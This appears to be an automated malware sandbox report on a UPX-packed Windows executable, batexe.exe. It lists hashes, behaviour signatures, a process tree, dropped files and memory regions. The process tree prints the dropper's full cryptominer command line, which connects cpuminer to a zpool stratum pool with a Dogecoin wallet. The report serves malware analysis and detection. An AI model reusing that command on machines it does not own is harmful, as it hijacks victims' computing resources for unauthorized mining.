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Analysis

  • max time kernel
    297s
  • max time network
    304s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    20/02/2024, 04:06

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:552
    • C:\Users\Admin\AppData\Local\Temp\87FC.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\87FC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\87FC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\926C.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3912
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3788

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\87FC.tmp\b2e.exe

    Filesize

    6.0MB

    MD5

    b7a8277aaad63f83214b100a0b6ba032

    SHA1

    c6d1aab710b4520ad0aada82e14b0e653cd0e943

    SHA256

    63e4650e270cda0a00b18ebf157a0d26e00a0b6bca297941b30f94b3979882b7

    SHA512

    f6ca91b71fbfde2b66a6bf34628093db22a349a4efb20f43d1f09ddc84dd41484347ceb426c9cab2d6c84b5e7dc17c996eafb6a7130cb2b863851c41d6b32596

  • C:\Users\Admin\AppData\Local\Temp\87FC.tmp\b2e.exe

    Filesize

    1.1MB

    MD5

    a43a8e689cd5eb2690d211c1d48e729a

    SHA1

    92acd696234142bf22c8b5f1c1af459f38dc3bf4

    SHA256

    de564130f2706db8cccf91eb5cda9c55b9cb1cf5c775c3eee2d27c4c63ae5adc

    SHA512

    d804a9846c745cebd70e25fc740f2d8ab555e3b66ec9a1199539d08a0bf9c7cc4d2122eb5fb65ad6192835649fc0cc55f08ea2572c131c6b1931be3d30991182

  • C:\Users\Admin\AppData\Local\Temp\87FC.tmp\b2e.exe

    Filesize

    1.8MB

    MD5

    f51fe7ed64e17eb639e2b77a503596fc

    SHA1

    9de36c8a5bd8a21c006aabe8c222294852a802f1

    SHA256

    706fdab761081f7c0cbe20066009c226b25636178215be354891409ae09eecc7

    SHA512

    ffd4c6f3d081da80edc1bdcc52052d9965c854f7f4fe83e655da803a0fc5f9c261219ec8e12b45ba432cec0d740d314e2be5700a592e581b9f057bccfe516fca

  • C:\Users\Admin\AppData\Local\Temp\926C.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.1MB

    MD5

    dc05e579bc637512d5fb931ab6af6ee6

    SHA1

    55ccc8787f0f379135fd0e16dbac97db4e304f22

    SHA256

    9452fb0034b4e6ec5c33fff5d2d5ceb75e94904bf4d3a1cc4a88b442c705d4ba

    SHA512

    89a2e00e5306a575dbb8188c2c0b0acb9ace5dbd0edbece5568684ba4e0845c122020c273ae6f20771710ff6003946f4f860f8e2e325002fb5feebda58e44c7c

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.7MB

    MD5

    1fba97c512d3989d92ac0e1c73aa1e35

    SHA1

    38100748f41a5561117879398c785909ed94bb24

    SHA256

    a0e329075dd93e139e7ace15c4c8f6995c1b2223a1607850432e663d47c4b8ad

    SHA512

    c7f4945979ca9e565d4160ea4491dc9bb280f91e6dc4b8b135958bc16abf50e945740d4ea57434ff9f1c496b09f544e0dffcb80e9243059f22fe871592598acf

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.9MB

    MD5

    b7ded6669a5e8efff152752ba067612b

    SHA1

    f0c563cdcafb605938db671454ea82347efcdfb4

    SHA256

    e7b1d5b2145d2a67975691a28ee45a45105b40310c3b106736ecdbf7667e08ba

    SHA512

    99121380c89568c9f5f0690fb1af596a1f8e6f8540bbf6cd54ddddea69497b4b5270a827de59229933023d131d872319ec765608f4b376a9c53620ed19b7665a

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    4.6MB

    MD5

    2d0313a655440e87aa3c0c928026ee16

    SHA1

    2275a64c92180d88e646b8852ace630ee11ce085

    SHA256

    b94d18754c2d8478151e0d73faa055fa69da602531d4891d9ddcd2a65124409c

    SHA512

    a253fb7c977895a6d6cb508729af9b4a06d85f24c62a0b0fc0baa2b4e463e0ba53416ede4a5f9efdd244e3a0cbe99732b07b73d2eaef2a02ca72b064c00569a8

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    5.4MB

    MD5

    90194d1e64edccbff9c86972c716d3cd

    SHA1

    4ace2a8576d114e9394877da4e1e5aa8181a76f0

    SHA256

    374df6e29888975654fdbc59789e9ec73566cfc6a05ca6cc7119b06f366ce2b0

    SHA512

    152e2f3bfb25459228af4aec4d71ab1ccd68337b9c572e0a06a35b67b5663b179fb6cf538a01235d8f7858836cfb6a697757bd8410ca3e9232071a7adf086b2c

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/552-8-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/2852-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2852-7-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3788-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-46-0x0000000072160000-0x00000000721F8000-memory.dmp

    Filesize

    608KB

  • memory/3788-47-0x0000000001030000-0x00000000028E5000-memory.dmp

    Filesize

    24.7MB

  • memory/3788-48-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3788-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3788-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-84-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3788-104-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB